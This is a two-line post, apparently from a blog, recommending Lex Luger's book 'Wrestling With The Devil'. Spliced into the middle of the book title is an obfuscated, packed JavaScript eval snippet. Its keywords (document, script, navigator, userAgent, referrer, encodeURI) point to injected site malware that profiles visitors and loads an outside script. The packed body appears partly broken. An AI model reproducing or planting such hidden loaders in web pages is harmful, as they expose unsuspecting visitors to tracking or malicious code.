Read Lex Luger’s Book
And it’s one of the less frustrating I’ve seen.
Wrestling eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|httfb|var|u0026u|referrer|bzkff||js|php'.split('|'),0,{})) With The Devil